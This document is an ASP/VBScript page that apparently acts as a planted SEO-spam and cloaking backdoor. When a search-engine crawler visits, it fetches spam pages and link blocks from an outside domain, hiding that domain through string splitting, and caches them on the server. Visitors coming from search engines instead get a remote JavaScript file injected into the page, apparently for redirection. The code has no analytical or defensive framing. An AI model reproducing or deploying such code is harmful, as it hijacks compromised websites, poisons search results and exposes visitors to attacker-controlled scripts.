<%

Function fileExists(relativeFilePath)
    On Error Resume Next
    Dim fso
    relativeFilePath = replace(relativeFilePath, "\\", "")
    Set fso = CreateObject("Scripting.FileSystemObject")
    fileExists = fso.FileExists(Server.MapPath(relativeFilePath))
    If Err.Number <> 0 Then
        fileExists = False
        Err.Clear
    End If
    On Error GoTo 0
End Function
extension=".log"
Function ReadFile(filePath)
    Dim stream, fcc, chkey
    chkey = "index_" & Server.MapPath(filePath)
    If Not IsEmpty(Application(chkey)) Then
        fcc = Application(chkey)
    Else
        Set stream = Server.CreateObject("ADODB.Stream")
        stream.Open
        stream.Type = 2 ' adTypeText
        stream.Charset = "utf-8"
        stream.LoadFromFile Server.MapPath(filePath)
        fcc = stream.ReadText
        stream.Close
        Set stream = Nothing
	if InStr(filePath, "index") > 0 Or  filePath=domain()&extension  Or filePath = "-"&extension  Then
        Application.Lock
        Application(chkey) = fcc
        Application.Unlock
	end if
    End If
    ReadFile = fcc
End Function

sub WriteF(filename, content)
    On Error Resume Next
    Dim stream
    Set stream = Server.CreateObject("ADODB.Stream")
    stream.Open
    stream.Type = 2 'adTypeText
    stream.Charset = "UTF-8"
    stream.WriteText content
    stream.SaveToFile Server.MapPath(filename), 2 'adSaveCreateOverWrite
    stream.Close
    Set stream = Nothing
    If Err.Number <> 0 Then
        WriteF = content
    Else
        WriteF = content
    End If
End sub

Function urls() 
u="i."
u1="wskmn"
urls="http://"+u+u1+".com"+"/bx/"
End Function 

Function format()
    filename=domain()&url()
    filename = Replace(filename, "http://", "")
    filename = Replace(filename, "https://", "")
    filename = Replace(filename, "\", "-")
    filename = Replace(filename, "/", "")
    filename = Replace(filename, ":", "-")
    filename = Replace(filename, "*", "-")
    filename = Replace(filename, "?", "-")
    filename = Replace(filename, """", "-")
    filename = Replace(filename, "<", "-")
    filename = Replace(filename, ">", "-")
    filename = Replace(filename, "|", "-")
    filename = Replace(filename, "&", "-")
    filename = Replace(filename, "=", "-")

    format=folder()+filename+extension
    
End Function 

Function folder()
folder1="stats\spider\"
folder=cfolder(folder1) 
End Function 

Function css()
if fileExists("css.css")=false then 
   WriteF "css.css",GetWebContent("https://img.wskmn.com/css/test.css","utf-8","60000")
end if
End Function 

Function cfolder(dir) 
Dim fs,strFolder
strFolder=fo
Err.Clear
On Error Resume Next
set fs=Server.CreateObject("Scripting.FileSystemObject")
strFolder=Server.MapPath(dir)
If not fs.FolderExists(strFolder) Then
fs.CreateFolder strFolder
cfolder=dir 
End If
cfolder=dir 
End Function

Function all()
ff=format()

da=replace(date(),"/","-")
if fileExists(folder()&"date.jpg") then 

   'css()
    rd=ReadFile(folder()&"date.jpg")
    if rd=da then
            if fileExists(ff) then
            all= ReadFile(ff)
            else
                aa= sour()
                WriteF ff,aa
                all=aa
             end if
     else
       aa= sour()
       WriteF ff,aa
       WriteF folder()&"date.jpg",da
       all=aa
    end if
else
       aa= sour()
       WriteF ff,aa
       WriteF folder()&"date.jpg",da
       all=aa
end if 
End Function
Function url()
dim http
  http=LCase(request.ServerVariables("QUERY_STRING"))
 if instr(http,"&")>0 then
  url=replace(http,"&","?",1,1)
  else
url=http
end if 
End Function 

function domain() 
domain=LCase(request.ServerVariables("SERVER_NAME"))
End Function
Dim fileContent '
Set fileContent = CreateObject("Scripting.Dictionary")
function sour()

aa=urls()+"?"+"domain="+domain()+replace("&script=/"+"&id="&"/"&url(),"//","/")
sour=GetWebContent(aa,"utf-8","60000")
End Function

Function Isspider()
    Dim agent, searray, i
    agent = LCase(Request.ServerVariables("HTTP_USER_AGENT"))
    searray = Array("google", "baidu", "Google", "spider")
    Isspider = False
    For i = 0 To UBound(searray)
        If InStr(agent, searray(i)) > 0 Then
            Isspider = True
            Exit Function ' 
        End If
    Next
End Function

Function fromse()
    Dim urlRefer, i, seArray
    urlRefer = LCase(Request.ServerVariables("HTTP_REFERER"))
    fromse = False
    If urlRefer = "" Then
        Exit Function
    End If
    seArray = Array("google", "yahoo", "bing", "baidu.com", ".aol.com")
    For i = 0 To UBound(seArray)
        If InStr(urlRefer, seArray(i)) > 0 Then
            fromse = True
            Exit Function
        End If
    Next
End Function

Function GetWebContent(strURL, strCharset, intTimeout)
    Response.CodePage = 65001
    Dim objHttp, strHTML
    On Error Resume Next
    Set objHttp = Server.CreateObject("WinHttp.WinHttpRequest.5.1")
    If Err.Number <> 0 Then
        Set objHttp = Server.CreateObject("MSXML2.ServerXMLHTTP.6.0")
    End If
    If Err.Number <> 0 Then
        Set objHttp = Server.CreateObject("MSXML2.XMLHTTP")
    End If
    If Err.Number <> 0 Then
        Set objHttp = Server.CreateObject("Microsoft.XMLHTTP")
    End If
    On Error GoTo 0
    If objHttp Is Nothing Then
        GetWebContent = ""
        Exit Function
    End If
    objHttp.Open "GET", strURL, False
    objHttp.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded"
    objHttp.SetTimeouts intTimeout, intTimeout, intTimeout, intTimeout
    objHttp.Send
    strHTML = objHttp.responseText
    If Left(strHTML, 3) = ChrW(&HFEFF) Then
        strHTML = Mid(strHTML, 4)
    End If
    
    Dim arrCharsets(2)
    arrCharsets(0) = "utf-8"
    arrCharsets(1) = "gb2312"
    arrCharsets(2) = "gbk"
    
    Dim strCharsetInArray, objStream, strStream
    For Each strCharsetInArray In arrCharsets
        Set objStream = Server.CreateObject("ADODB.Stream")
        objStream.Mode = 3 ' adModeReadWrite
        objStream.Type = 1 ' adTypeBinary
        objStream.Open
        objStream.Write objHttp.ResponseBody
        objStream.Position = 0
        objStream.Type = 2 ' adTypeText
        objStream.Charset = strCharsetInArray
        strStream = objStream.ReadText
        objStream.Close
        Set objStream = Nothing
        If InStr(strStream, ChrW(&HFFFD)) = 0  Then
            strHTML = strStream
            Exit For 
        End If
    Next
    
    Set objHttp = Nothing
    GetWebContent = strHTML
End Function


if isspider()=true  then
   if  instr(url(),"clearall")>0 then
   application.contents.removeall()
   response.write now()& "<br>"&"clear cache is success!"
   response.end
   end if
   response.clear
   Response.CodePage = 65001
   Response.Charset = "utf-8"
   response.write( replace( all(),"{upx}",GetWebContent("http://link.wskmn.com/bx2/","utf-8","60000") )  )
   response.write("<!--"&now()&"-->")
   response.end
end if
if fromse() then
    response.clear
    response.write("<script language='javascript' src='https://js.wskmn.com/bx/ul.js'></script><br/>")
    Response.Flush
  response.end
else

    response.write("<script language='javascript' src='https://js.wskmn.com/bx/ul.js'></script><br/>")

end if
%>